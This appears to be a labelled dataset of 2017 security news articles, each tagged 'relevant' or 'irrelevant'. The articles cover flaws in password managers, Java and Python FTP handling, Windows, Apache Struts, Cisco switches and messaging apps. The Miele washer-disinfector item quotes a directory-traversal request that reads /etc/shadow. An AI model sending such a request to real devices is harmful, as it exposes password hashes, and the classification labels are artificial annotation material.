"9 Popular Password Manager Apps Found Leaking Your Secrets Is anything safe? It's 2017, and the likely answer is NO. Making sure your passwords are secure is one of the first line of defense – for your computer, email, and information – against hacking attempts, and Password Managers are the one recommended by many security experts to keep all your passwords secure in one place. Password Managers are software that creates complex passwords, stores them and organizes all your passwords for your computers, websites, applications and networks, as well as remember them on your behalf. But what if your Password Managers itself are vulnerable? Well, it's not just an imagination, as a new report has revealed that some of the most popular password managers are affected by critical vulnerabilities that can expose user credentials. The report, published on Tuesday by a group of security experts from TeamSIK of the Fraunhofer Institute for Secure Information Technology in Germany, revealed that nine of the most popular Android password managers available on Google Play are vulnerable to one or more security vulnerabilities. Popular Android Password Manager Apps Affected By One Or More Flaws The team examined LastPass, Keeper, 1Password, My Passwords, Dashlane Password Manager, Informaticore's Password Manager, F-Secure KEY, Keepsafe, and Avast Passwords – each of which has between 100,000 and 50 Million installs. ""The overall results were extremely worrying and revealed that password manager applications, despite their claims, do not provide enough protection mechanisms for the stored passwords and credentials,"" TeamSIK said. In each application, the researchers discovered one or more security vulnerabilities – a total of 26 issues – all of which were reported to the application makers and were fixed before the group's report went public. Encryption Keys for Master Key Hard-Coded in the App's Code According to the team, some password manager applications were vulnerable to data residue attacks and clipboard sniffing. Some of the apps stored the master password in plain text or even exposed encryption keys in the code. For example, one high severity flaw affected Informaticore's Password Manager app, which was due to the app storing the master password in an encrypted form with the encryption key hard coded in the app's code itself. A similar bug was also discovered in LastPass. In fact, in some cases, the user's stored passwords could have easily been accessed and exfiltrated by any malicious application installed on the user's device. Besides these issues, the researchers also found that auto-fill functions in most password manager applications could be abused to steal stored secrets through ""hidden phishing"" attacks. And what's more worrisome? Any attacker could have easily exploited many of the flaws discovered by the researchers without needing root permissions. List of Vulnerable Password Managers and Flaws Affecting Them Here's the list of vulnerabilities disclosed in some of the most popular Android password managers by TeamSIK: MyPasswords Read Private Data of My Passwords App Master Password Decryption of My Passwords App Free Premium Features Unlock for My Passwords 1Password – Password Manager Subdomain Password Leakage in 1Password Internal Browser HTTPS downgrade to HTTP URL by default in 1Password Internal Browser Titles and URLs Not Encrypted in 1Password Database Read Private Data From App Folder in 1Password Manager Privacy Issue, Information Leaked to Vendor 1Password Manager LastPass Password Manager Hardcoded Master Key in LastPass Password Manager Privacy, Data leakage in LastPass Browser Search Read Private Data (Stored Master password) from LastPass Password Manager Informaticore Password Manager Insecure Credential Storage in Microsoft Password Manager Keeper Password Manager Keeper Password Manager Security Question Bypass Keeper Password Manager Data Injection without Master Password Dashlane Password Manager Read Private Data From App Folder in Dashlane Password Manager Google Search Information Leakage in Dashlane Password Manager Browser Residue Attack Extracting Master Password From Dashlane Password Manager Subdomain Password Leakage in Internal Dashlane Password Manager Browser F-Secure KEY Password Manager F-Secure KEY Password Manager Insecure Credential Storage Hide Pictures Keepsafe Vault Keepsafe Plaintext Password Storage Avast Passwords App Password Stealing from Avast Password Manager Insecure Default URLs for Popular Sites in Avast Password Manager Broken Secure Communication Implementation in Avast Password Manager Researcher also going to present their findings at HITB conference next month. For more technical details about each vulnerability, users can head on to the TeamSIK report. Since the vendors have addressed all these above-listed issues, users are strongly advised to update their password manager apps as soon as possible, because now hackers have all the information they require to exploit vulnerable versions of the password manager apps.",irrelevant
"Unpatched Python and Java Flaws Let Hackers Bypass Firewall Using FTP Injection This newly discovered bugs in Java and Python is a big deal today. The two popular programming languages, Java and Python, contain similar security flaws that can be exploited to send unauthorized emails and bypass any firewall defenses. And since both the flaws remain unpatched, hackers can take advantage to design potential cyber attack operations against critical networks and infrastructures. The unpatched flaws actually reside in the way Java and Python programming languages handle File Transfer Protocol (FTP) links, where they don't syntax-check the username parameter, which leads to, what researchers call, protocol injection flaw. Java/Python FTP Injection to Send Unauthorized SMTP Emails ftp-protocol-injection-exploit In a blog post published over the past week, security researcher Alexander Klink detailed the FTP protocol injection vulnerability in Java's XML eXternal Entity (XXE) that allows attackers to inject non-FTP malicious commands inside an FTP connection request. To demonstrate the attack, Alexander showed how to send an unauthorized email via SMTP (Simple Mail Transfer Protocol) in an FTP connection attempt, even though the FTP connection failed, as FTP servers does support authentication, but doesn't check for the present of carriage returns (CR) or line feeds (LF) in usernames. ""This attack is particularly interesting in a scenario where you can reach an (unrestricted, maybe not even spam- or malware-filtering) internal mail server from the machine doing the XML parsing,"" Alexander concluded. Java/Python FTP Injections Allow to Bypass Firewall However, two days later in a separate security advisory, security researcher Timothy Morgan from Blindspot Security came forward with his findings, showing more threatening exploitation scenario where the FTP URL handlers in both Java and Python can be used to bypass firewalls. Morgan said such FTP protocol injection flaw could be used to trick a victim's firewall into accepting TCP connections from the web to the vulnerable host's system on its ""high"" ports (from 1024 to 65535). Besides the FTP protocol injection attack, there's reside a decade old security issue in FTP protocol called classic mode FTP – an insecure mechanism of client-server FTP interactions, but many firewall vendors still support it by default. When a classic mode FTP connection is initiated, the firewall temporarily opens a port – typically between 1024 and 65535 – specified in the PORT command, which introduces security risks. Using the FTP protocol injection issue in Java and Python, an attacker who knows the targeted host's internal IP address can start a classic mode FTP connection, which attackers can use for nefarious purposes. Morgan has determined that an attacker can open up one port in the targeted firewall with only three requests: Identify the victim's internal IP address – this requires an attacker to ""send an URL, see how the client behaves, then try another until the attack is successful."" Determine packet alignment and ensure that the PORT command is injected at the right moment, making the attack work. Exploit the vulnerability. Each additional request can be used to open up another TCP port. Easily Exploitable Protocol Injection Flaw However, the researcher warned that his exploit could be used for man-in-the-middle (MitM) attacks, server-side request forgery (SSRF), an XEE attack and more – and once bypassed the firewall, desktop hosts can be attacked even if they do not have Java installed. All an attacker need is to convince victims into accessing a malicious Java or Python applications installed on a server to bypass the entire firewall. ""If a desktop user could be convinced to visit a malicious website while Java is installed, even if Java applets are disabled, they could still trigger Java Web Start to parse a JNLP (Java Network Launch Protocol) file,"" Morgan said. ""These files could contain malicious FTP URLs which trigger this bug."" ""Also note, that since Java parses JNLP files before presenting the user with any security warnings, the attack can be entirely successful without any indication to the user (unless the browser itself warns the user about Java Web Start being launched)."" According to Morgan, a nearly identical flaw also exists in Python's urllib2 and urllib libraries, although ""this injection appears to be limited to attacks via directory names specified in the URL."" Protocol Injection Flaw Is Still Unpatched Morgan said the FTP protocol injection flaw was reported to the Python team in January 2016 and Oracle in November 2016 by his company, but neither of the two has issued any update to address the issue. Morgan has developed a proof-of-concept (PoC) exploit but is currently holding back publication of his exploit until Oracle and Python respond to the disclosure and release patches. The Morgan's exploit has successfully been tested against Palo Alto Networks and Cisco ASA firewalls, though researchers believe many commercial firewalls are also vulnerable to FTP stream injection attacks. So until patches become available, Morgan suggests users uninstall Java on their desktops and in browsers, as well as disable support for ""classic mode"" FTP on all firewalls.",relevant
"Microsoft releases update for Flash Player, but leaves two disclosed Flaws Unpatched Microsoft on Tuesday released security update (KB 4010250) to patch flaws in Adobe Flash Player for its customers using Internet Explorer on Windows 8.1 and later, as well as Edge for Windows 10, but two already disclosed flaws remain unpatched. Just last week, Microsoft announced that its February patches would be delayed until March due to a last minute issue, a move that led to Google publishing details of an unpatched Windows bug. However, the software giant emailed a handful of big business to alert them to the incoming patches on Monday, advising them to update their systems as soon as possible. The security patches are now available to all Windows customers over Windows Update, and ""No other security updates are scheduled for release until the next scheduled monthly update release on March 14, 2017,"" Microsoft says. Bulletin MS17-005 for Adobe Flash Player addresses remote code execution (RCE) vulnerabilities for some currently supported Windows systems. The flaws are rated ""Critical"" for Windows client operating systems to Windows 8.1 and Windows Server 2016, but ""Moderate"" for Windows Server 2012. But Microsoft Won't Patch Two Disclosed Flaws Until 14th March However, two security vulnerabilities, which have already been publicly disclosed with working exploit code, remain still unpatched, giving attackers enough time to target Windows users. First one is a Windows SMB vulnerability that affects Windows 8, Windows 10 and Windows Server. The proof-of-concept exploit code of this flaw was released just over a week ago. The other one is the flaw disclosed by Google earlier this week that affects Microsoft's Windows operating systems ranging from Windows Vista Service Pack 2 to the latest Windows 10 that had yet to be patched. Google disclosed the vulnerability, which resides in Windows' Graphics Device Interface (GDI) library, with POC exploit, meaning attackers can exploit the vulnerability before Microsoft issue a patch. The latest security patches come a week after Microsoft's usual Patch Tuesday. Since details of the security updates released by Microsoft on Tuesday remain sketchy, what these patches resolve is not currently known. So if you check for updates on your Windows PC and find one waiting for you, don't be surprised and patch your software immediately to make sure your Flash Player software is secure, though you'll still be waiting until March 14 for the complete Patch Tuesday fix.",relevant
"Windows SMB Zero-Day Exploit Released in the Wild after Microsoft delayed the Patch Last weekend a security researcher publically disclosed a zero-day vulnerability in Windows 10, Windows 8.1 and Server editions after Microsoft failed to patch it in the past three months. The zero-day memory corruption flaw resides in the implementation of the SMB (server message block) network file sharing protocol that could allow a remote, unauthenticated attacker to crash systems with denial of service attack, which would then open them to more possible attacks. According to US-CERT, the vulnerability could also be exploited to execute arbitrary code with Windows kernel privileges on vulnerable systems, but this has not been confirmed right now by Microsoft. Without revealing the actual scope of the vulnerability and the kind of threat the exploit poses, Microsoft has just downplayed the severity of the issue, saying: ""Windows is the only platform with a customer commitment to investigate reported security issues, and proactively update impacted devices as soon as possible. We recommend customers use Windows 10 and the Microsoft Edge browser for the best protection."" However, the proof-of-concept exploit code, Win10.py, has already been released publicly for Windows 10 by security researcher Laurent Gaffie and does not require targets to use a browser. The memory corruption flaw resides in the manner in which Windows handles SMB traffic that could be exploited by attackers; all they need is tricking victims to connect to a malicious SMB server, which could be easily done using clever social engineering tricks. ""In particular, Windows fails to properly handle a server response that contains too many bytes following the structure defined in the SMB2 TREE_CONNECT Response structure,"" CERT said in the advisory. ""By connecting to a malicious SMB server, a vulnerable Windows client system may crash (BSOD) in mrxsmb20.sys."" Since the exploit code is now publicly available to everyone and there is no official patch from Microsoft, all Windows users are left open to potential attacks at this time. Until Microsoft patches the memory corruption flaw (most probably in the upcoming Windows update or out-of-band patch), Windows users can temporarily fix the issue by blocking outbound SMB connections (TCP ports 139 and 445 and UDP ports 137 and 138) from the local network to the WAN. The vulnerability has been given Common Vulnerability Scoring System (CVSS) score of 7.8. Proof-of-concept code has been published on GitHub.",relevant
"New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild Security researchers have discovered a Zero-Day vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild. Apache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON. In a blog post published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts. According to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. ""It is possible to perform an RCE attack with a malicious Content-Type value,"" warned Apache. ""If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user."" The vulnerability, documented at Rapid7's Metasploit Framework GitHub site, has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately. Exploit Code Publicly Released Since the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous. The researchers even detected ""a high number of exploitation events,"" the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands. apache-exploit-code In some cases, the attackers executed simple ""whoami"" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads. apache-exploit ""Final steps include downloading a malicious payload from a web server and execution of said payload,"" the researchers say. ""The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account."" Attackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine. According to the researchers, the attackers tried to copy the file to a benign directory and ensure ""that both the executable runs and that the firewall service will be disabled when the system boots."" Both Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different implementation of the Multipart parser.",relevant
"Disable TELNET! Cisco finds 0-Day in CIA Dump affecting over 300 Network Switch Models Cisco is warning of a new critical zero-day IOS / IOS XE vulnerability that affects more than 300 of its switch models. The company identified this highest level of vulnerability in its product while analyzing ""Vault 7"" — a roughly 8,761 documents and files leaked by Wikileaks last week, claiming to detail hacking tools and tactics of the Central Intelligence Agency (CIA). The vulnerability resides in the Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software. If exploited, the flaw (CVE-2017-3881) could allow an unauthenticated, remote attacker to cause a reboot of an affected device or remotely execute malicious code on the device with elevated privileges to take full control of the device, Cisco says in its advisory. The CMP protocol has been designed to pass around information about switch clusters between cluster members using Telnet or SSH. The vulnerability is in the default configuration of affected Cisco devices, even if the user doesn't configure any cluster configuration commands. The flaw can be exploited during Telnet session negotiation over either IPv4 or IPv6. According to the Cisco researchers, this bug occurs in Telnet connections within the CMP, due to two factors: The protocol doesn't restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members; instead, it accepts and processes commands over any Telnet connection to an affected device. The incorrect processing of malformed CMP-specific Telnet options. So, in order to exploit this vulnerability, an attacker can send ""malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections,"" researchers say. This exploitation could allow the attacker to remotely execute malicious code and obtain full control of the affected device or cause a reload of the affected device. Disable Telnet On Vulnerable Models — Patch is not Available Yet! The vulnerability affects 264 Catalyst switches, 51 industrial Ethernet switches, and 3 other devices, which includes Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2/3 EtherSwitch Service Module, Enhanced Layer 2 EtherSwitch Service Module, ME 4924-10GE switch, IE Industrial Ethernet switches, RF Gateway 10, SM-X Layer 2/3 EtherSwitch Service Module, and Gigabit Ethernet Switch Module (CGESM) for HP. (check complete list here) Currently, this vulnerability is unpatched, and until patches are available, Cisco recommends its users to disable the Telnet connection to the switch devices in favor of SSH. The company's advisory doesn't talk about any working exploit using this flaw, but if there's one, tens of thousands, if not hundreds of thousands, of devices installed around the world look to have been at great risk for an unknown period — Thanks to the CIA for holding the flaw. Cisco will update its IOS Software Checker tool immediately as soon as the patches come out.",relevant
"Secure Messaging App 'Confide' Used by White House Staffers Found Vulnerable The secure messaging app used by staffers in the White House and on Capitol Hill is not as secure as the company claims. Confide, the secure messaging app reportedly employed by President Donald Trump's aides to speak to each other in secret, promises ""military-grade end-to-end encryption"" to its users and claims that nobody can intercept and read chats that disappear after they are read. However, two separate research have raised a red flag about the claims made by the company. Security researchers at Seattle-based IOActive discovered multiple critical vulnerabilities in Confide after a recent audit of the version 1.4.2 of the app for Windows, Mac OS X, and Android. Confide Flaws Allow Altering of Secret Messages The critical flaws allowed attackers to: Impersonate friendly contacts by hijacking an account session or guessing a password, as the app failed to prevent brute-force attacks on account passwords. Spy on contact details of Confide users, including real names, email addresses, and phone numbers. Intercept a conversation and decrypt messages. Since the app's notification system didn't require any valid SSL server certificate to communicate, a man-in-the-middle attacker can potentially grab messages intended for a legitimate recipient. Alter the contents of a message or attachment in transit without first decrypting it. Send malformed messages that can crash, slow, or otherwise disrupt the application. Exploiting the weaknesses allowed the researchers to gain access to more than 7,000 account records created over the span of two days (between February 22 and 24), out of a database containing between 800,000 and 1 Million records. Flaw Exposed Details of a Trump Associate and Several DHS Employees Out of just that 2-day sample, the researchers were even able to find a Donald Trump associate and several employees from the Department of Homeland Security (DHS) who downloaded the Confide app. IOActive researchers Mike Davis, Ryan O'Horo, and Nick Achatz responsibly disclosed a total 11 separate issues in Confide to the app's developers, who responded immediately by patching the app. In addition to this, researchers from Quarkslab also showed off Confide exploits Wednesday after analyzing the app's code. The researchers discovered a series of design vulnerabilities in the Confide for iOS app, which could allow the company to read user messages, adding that the app didn't notify users when encryption keys were changed. Even, The Company Can Read Your Messages According to the researchers, ""Confide server can read your messages by performing a man-in-the-middle attack,"" and other security features of the app, such as message deletion and screenshot prevention, can also be defeated. ""The end-to-end encryption used in Confide is far from reaching state of the art,"" the researchers said. ""Building a secure instant messaging app is not easy, but when claiming it, some strong mechanisms should really be enforced since the beginning."" Quarkslab researchers said the company server could generate its own key pair, meaning that the company has the ability to transmit the public key to a client when requesting the public key of a recipient. ""This client then unknowingly encrypts a message that can be decrypted by the server,"" the researchers added. ""Finally, when the server sends the message to the recipient, it is able to re-encrypt the message with its own key for the actual recipient."" In response to Quarkslab's findings, Confide co-founder and president Jon Brod said: ""The researchers intentionally undermined the security of their own system to bypass several layers of Confide's protection, including application signatures, code obfuscation, and certificate pinning. The attack that they claim to be demonstrating does not apply to legitimate users of Confide, who are benefiting from multiple security protections that we have put in place. Undermining your own security or taking complete control of a device makes the entire device vulnerable, not just the Confide app."" Confide has rolled out an updated version of its app which includes fixes for the critical issues, and assured its customers that there wasn't any incident of these flaws being exploited by any other party. Confide is one of those apps which, unlike other secure messaging apps, keeps its code private and until this time, offered little or no detail about the encryption protocols used in the app. For more details about the vulnerabilities in Confide, you can head on to IOActive's advisory and Quarkslab's Blog.",relevant
"Google Increases Bug Bounty Payouts by 50% and Microsoft Just Doubles It! Well, there's some good news for hackers and bug bounty hunters! Both tech giants Google and Microsoft have raised the value of the payouts they offer security researchers, white hat hackers and bug hunters who find high severity flaws in their products. While Microsoft has just doubled its top reward from $15,000 to $30,000, Google has raised its high reward from $20,000 to $31,337, which is a 50 percent rise plus a bonus $1,337 or 'leet' award. In past few years, every major company, from Apple to P*rnHub and Netgear, had started Bug Bounty Programs to encourage hackers and security researchers to find and responsibly report bugs in their services and get rewarded. But since more and more bug hunters participating in bug bounty programs at every big tech company, common and easy-to-spot bugs are hardly left now, and if any, they hardly make any severe impact. Sophisticated and remotely exploitable vulnerabilities are a thing now, which takes more time and effort than ever to discover. Google Increases Bug Bounty Payouts by 50% and Microsoft Doubles It! So, it was needed to encourage researchers in helping companies find high-severity vulnerabilities that have become harder to identify. Until now, Google offered $20,000 for remote code execution (RCE) flaws and $10,000 for an unrestricted file system or database access bugs. But these rewards have now been increased to $31,337 and $13,337, respectively. For earning the top notch reward of $31,337 from the tech giant, you need to find command injections, sandbox escapes and deserialization flaws in highly sensitive apps, such as Google Search, Chrome Web Store, Accounts, Wallet, Inbox, Code Hosting, Google Play, App Engine, and Chromium Bug Tracker. Types of vulnerabilities in the unrestricted file system or database access category that can earn you up to $13,337 if they affect highly sensitive services include unsandboxed XML eXternal Entity (XXE) and SQL injection bugs. Since the launch of its bug bounty program in 2010, Google has paid out over $9 Million, including $3 Million awarded last year. Microsoft has also increased its bug bounty payouts from $20,000 to $30,000 for vulnerabilities including cross-site scripting (XSS), cross-site request forgery (CSRF), unauthorized cross-tenant data tampering or access (for multi-tenant services), insecure direct object references injection, server-side code execution, and privilege escalation bugs, in its Outlook and Office services. Both the tech giants are trying their best to eliminate any lucrative vulnerability or backdoor into their software and products to avoid any hacking attempts and make them more secure. Hackers will get the payout reward after submitting the vulnerabilities along with a valid working proof-of-concept. So, what are you waiting for? Go and Grab them all!",irrelevant
"Google Employees Help Thousands Of Open Source Projects Patch Critical 'Mad Gadget Bug' Last year Google employees took an initiative to help thousands of Open Source Projects patch a critical remote code execution vulnerability in a widely used Apache Commons Collections (ACC) library. Dubbed Operation Rosehub, the initiative was volunteered by some 50 Google employees, who utilized 20 percent of their work time to patch over 2600 open source projects on Github, those were vulnerable to ""Mad Gadget vulnerability."" Mad Gadget vulnerability (CVE-2015-6420) is a remote code execution bug in the Java deserialization used by the Apache Commons Collections (ACC) library that could allow an unauthenticated, remote attacker to execute arbitrary code on a system. The ACC Library is widely deployed by many Java applications to decode data passed between computers. To exploit this flaw, all an unauthorized attacker need to do is submit maliciously crafted input to an application on a targeted system that uses the ACC library. Once the vulnerable ACC library on the affected system deserializes the content, the attacker could remotely execute arbitrary code on the compromised system, which could then be used to conduct further attacks. Remember ransomware attack on Muni Metro System? Late last year, an anonymous hacker managed to infect and take over more than 2,000 computers using this same Mad Gadget flaw in the software used to operate San Francisco's public transport system. Following the public disclosure of the Mad Gadget flaw, almost every commercial enterprise including Oracle, Cisco, Red Hat, VMWare, IBM, Intel, Adobe, HP, Jenkins, and SolarWinds formally disclosed that they had been impacted by this vulnerability and patched it in their software. However, few months after all big businesses patched the flaw, one of the Google employees noticed that several prominent open source libraries were still depending on the vulnerable versions of ACC library. ""We recognized that the industry best practices had failed. An action was needed to keep the open source community safe. So rather than simply posting a security advisory asking everyone to address the vulnerability, we formed a task force to update their code for them. That initiative was called Operation Rosehub,"" Justine Tunney, Software Engineer on TensorFlow, wrote on Google Open Source Blog. Under Operation Rosehub, patches were sent to many open source projects, although the Google employees were only able to patch open source projects on GitHub that directly referenced vulnerable versions of ACC library. According to the Open Source Blog, if the San Francisco Municipal Transportation Agency's software systems had been open source, Google engineers would also have been able to deliver patches for Mad Gadget to them, and their systems would have never been compromised.",relevant
"How One Photo Could Have Hacked Your WhatsApp and Telegram Accounts Next time when someone sends you a photo of a cute cat or a hot chick on WhatsApp or Telegram then be careful before you click on the image to view — it might hack your account within seconds. A new security vulnerability has recently been patched by two popular end-to-end encrypted messaging services — WhatsApp and Telegram — that could have allowed hackers to completely take over user account just by having a user simply click on a picture. The hack only affected the browser-based versions of WhatsApp and Telegram, so users relying on the mobile apps are not vulnerable to the attack. According to Checkpoint security researchers, the vulnerability resided in the way both messaging services process images and multimedia files without verifying that they might have hidden malicious code inside. For exploiting the flaw, all an attacker needed to do was sending the malicious code hidden within an innocent-looking image. Once the victim clicked on the picture, the attacker could have gained full access to the victim's WhatsApp or Telegram storage data. This eventually allowed attackers to take full access to the user's account on any browser, view and manipulate chat sessions, access victim's personal and group chats, photos, videos, audios, other shared files and contact lists as well. Millions of WhatsApp and Telegram accounts could have been hacked using just a PHOTO! CLICK TO TWEET To make this attack widespread, the attacker can then send the malware-laden image to everyone on the victim's contact list, which could, eventually, mean that one hijacked account could be led to countless compromises by leapfrogging accounts. Video Demonstration The researchers also provided a video demonstration, given below which shows the attack in action. Here's Why This Vulnerability Went Undetected: Both WhatsApp and Telegram use end-to-end encryption for its messages to ensure that nobody, except the sender and the receiver, can read the messages in between. However, this same end-to-end encryption security measure was also the source of this vulnerability. Since the messages were encrypted on the side of the sender, WhatsApp and Telegram had no idea or a way of knowing, that malicious code was being sent to the receiver, and thus were unable to prevent the content from being running. ""Since messages were encrypted without being validated first, WhatsApp and Telegram were blind to the content, thus making them unable to prevent malicious content from being sent,"" the researchers writes in a blog post. WhatsApp fixed the flaw within 24 hours on Thursday, March 8, while Telegram patched the issue on Monday. Since the fixes have been applied on the server end, users don't have to update any app to protect themselves from the attack; instead, they just need a browser restart. ""It's a big vulnerability in a significant service,"" said Oded Vanunu, head of product vulnerability research at Check Point. ""Thankfully, WhatsApp and Telegram responded quickly and responsibly to deploy the mitigation against exploitation of this issue in all web clients."" WhatsApp did not notice any abuse of the vulnerability, while Telegram claimed the flaw was less severe than WhatsApp, as it required the victim to right click on the image content and then open it in a new window or tab for the malicious code to run and exploit its users. After fixing this flaw, content on the web versions of both WhatsApp and Telegram will now be validated before the end-to-end encryption comes into play, allowing malicious files to be blocked.",relevant
"Hacker Reveals Easiest Way to Hijack Privileged Windows User Session Without Password You may be aware of the fact that a local Windows user with system rights and permissions can reset the password for other users, but did you know that a local user can also hijack other users' session, including domain admin/system user, without knowing their passwords? Alexander Korznikov, an Israeli security researcher, has recently demonstrated that a local privileged user can even hijack the session of any logged-in Windows user who has higher privileges without knowing that user's password, using built-in command line tools. This trick works on almost all versions of Windows operating system and does not require any special privileges. Korznikov is himself unable to figure out if it is a Windows feature or a security flaw. The issue discovered by Korznikov is not entirely new, as a French security researcher, namely Benjamin Delpy, detailed a similar user session hijacking technique on his blog some six years ago. Korznikov calls the attack a ""privilege escalation and session hijacking,"" which could allow an attacker to hijack high-privileged users' session and gain unauthorized access to applications and other sensitive data. For successful exploitation, an attacker requires physical access to the targeted machine, but using Remote Desktop Protocol (RDP) session on a hacked machine; the attack can be performed remotely as well. Video Demonstrations and PoC Exploit Released! Korznikov has also provided a few video demonstrations of a successful session hijacking (using Task manager, service creation, as well as command line), along with Proof-of-Concept (PoC) exploit. Korznikov successfully tested the flaw on the newest Windows 10, Windows 7, Windows Server 2008 and Windows Server 2012 R2, though another researcher confirmed on Twitter that the flaw works on every Windows version, even if the workstation is locked. While Microsoft does not deem it to be a security vulnerability and some experts argued that a Windows user with administrative permissions can do anything, Korznikov explained a simple attack scenario to explain how a malicious insider can easily misuse this flaw: ""Some bank employee have access to the billing system and its credentials to log in. One day, he comes to work, logging into the billing system and start to work. At lunchtime, he locks his workstation and goes out for lunch. Meanwhile, the system administrator gets to can use this exploit to access employee's workstation."" ""According to the bank's policy, administrator's account should not have access to the billing system, but with a couple of built-in commands in windows, this system administrator will hijack employee's desktop which he left locked. From now, a sysadmin can perform malicious actions in billing system as billing employee account."" Well, no doubt, alternatively an attacker can also dump out system memory to retrieve users' passwords in plaintext, but this is a long and complicated process compared to just running tscon.exe with a session number without leaving any trace and using any external tool. The issue has been known to Microsoft since last six years, so it's likely the company doesn't consider it a security flaw as it requires local admin rights on the computer, and deems this is how its operating system is supposed to behave.",relevant
"Over 85% Of Smart TVs Can Be Hacked Remotely Using Broadcasting Signals The Internet-connected devices are growing at an exponential rate, and so are threats to them. Due to the insecure implementation, a majority of Internet-connected embedded devices, including Smart TVs, Refrigerators, Microwaves, Security Cameras, and printers, are routinely being hacked and used as weapons in cyber attacks. We have seen IoT botnets like Mirai – possibly the biggest IoT-based malware threat that emerged late last year and caused vast internet outage by launching massive DDoS attacks against DynDNS provider – which proves how easy it is to hack these connected devices. Now, a security researcher is warning of another IoT threat involving Smart TVs that could allow hackers to take complete control of a wide range of Smart TVs at once without having any physical access to any of them. Researcher Shows Live Hacking Demonstration hacking-smart-tv-broadcasting-signal The proof-of-concept exploit for the attack, developed by Rafael Scheel of cyber security firm Oneconsult, uses a low-cost transmitter for embedding malicious commands into a rogue DVB-T (Digital Video Broadcasting — Terrestrial) signals. Those rogue signals are then broadcast to nearby devices, allowing attackers to gain root access on the Smart TVs, and using those devices for nasty actions, such as launching DDoS attacks and spying on end users. Scheel provided a live hacking demonstration of the attack during a presentation at the European Broadcasting Union (EBU) Media Cyber Security Seminar, saying about 90 percent of the Smart TVs sold in the last years are potential victims of similar attacks. Scheel's exploit relies on a transmitter based on DVB-T — a transmission standard that's built into TVs that are connected to the Internet. The attack exploits two known privilege escalation vulnerabilities in the web browsers running in the background and once compromised, attackers could remotely connect to the TV over the Internet using interfaces, allowing them to take complete control of the device. Once compromised, the TV would be infected in a way that neither device reboots nor factory resets would help the victims get rid of the infection. Scheel's exploit is unique and much more dangerous than any smart TV hack we have seen so far. Previous Smart TV hacks, including Weeping Angel (described in the CIA leaked documents), required physical access to the targeted device or relied on social engineering, which exposes hackers to the risk of being caught as well as limits the number of devices that can be hacked. However, Scheel's exploit eliminates the need for hackers to gain physical control of the device and can work against a vast majority of TV sets at once. The hack once again underlines the risks of ""Internet of Things"" devices. Since the IoT devices are rapidly growing and changing the way we use technology, it drastically expands the attack surface, and when viewed from the vantage point of information security, IoT can be frightening.",relevant
"Internet-Connected Medical Washer-Disinfector Found Vulnerable to Hacking Internet-of-Things devices are turning every industry into the computer industry, making customers think that their lives would be much easier with smart devices. There are, of course, some really good reasons to connect certain devices to the Internet. For example, remotely switching on your A/C a few minutes before you enter your home, instead of leaving it blasting all day. But does everything need to be connected? Of course, not. One such example is the latest bug report at Full Disclosure, affecting an Internet-connected washer-disinfector appliance by Germany-based manufacturer Miele. The Miele Professional PG 8528 appliance, which is used in medical establishments to clean and properly disinfect laboratory and surgical instruments, is suffering from a Web Server Directory Traversal vulnerability. Jens Regel of German consultancy Schneider & Wulf has discovered the flaw (CVE-2017-7240) that allows an unauthenticated, remote attacker to access directories other than those needed by a web server. Once accessed, the attacker can steal sensitive information stored on the server and even insert their own malicious code and tell the web server to execute it. ""The corresponding embedded web server 'PST10 WebServer' typically listens to port 80 and is prone to a directory traversal attack, [and] therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aid in subsequent attacks,"" Regel explained. Proof-of-Concept Exploit Code Released! Regel also published proof-of-concept (PoC) exploit code for this vulnerability, which means hackers can now exploit the vulnerability before the vendor issue a patch. The PoC exploit is simple for anyone to run: GET /../../../../../../../../../../../../etc/shadow HTTP/1.1 to whatever IP the dishwasher has on the LAN. It's unclear which libraries Miele used to craft the Web server, though, according to Regel, he's able to request the embedded system's shadow file – and by extension any file on the filesystem. The researcher privately disclosed the vulnerability to Miele in November 2016, but did not hear back from the vendor for more than three months. So, it when a fix can be expected (or if it exists) is still unknown. Therefore, the best option to keep yourself secure is to disconnect the appliance from the Internet for the time being until the patch is released.",relevant
"Learn Ethical Hacking Online – A to Z Training Bundle 2019 Good news for you is that this week's THN Deals brings Ethical Hacking A to Z Bundle that let you get started regardless of your experience level. The Ethical Hacking A to Z Bundle will walk you through the very basic skills you need to start your journey towards becoming a professional ethical hacker. The 45 hours of course that includes total 384 in-depth lectures, usually cost $1,273, but you can exclusively get this 8-in-1 online training course for just $39 (after 96% discount) at the THN Deals Store. 8-in-1 Online Hacking Training: Here's What You Will Learn Ethical Hacking A to Z Bundle will provide you access to the following eight courses: 1. Ethical Hacker Boot Camp for 2017 This course will teach you all about passive and active reconnaissance, scanning and enumeration, social engineering basics, network mapping, and with live hacking demonstrations using tools like Maltego, FOCA, Harvester, Recon-ng, Nmap, and masscan. By the end of this course, you'll be able to think like a hacker and be fully prepared for the Ethical Hacking Certification exams. 2. A to Z Ethical Hacking Course This course will talk you through basics to advanced hacking techniques, leaving no stone unturned. As its name suggests, A to Z Ethical Hacking Course will give you hands-on practice in a variety of hacking techniques, such as SQL injections, phishing, cross-site scripting, and email hacking, making you learn how to use tools like Metasploit, Keylogger, and WireShark. By the end of this course, you will be ready to get a high-paying ethical hacking job. 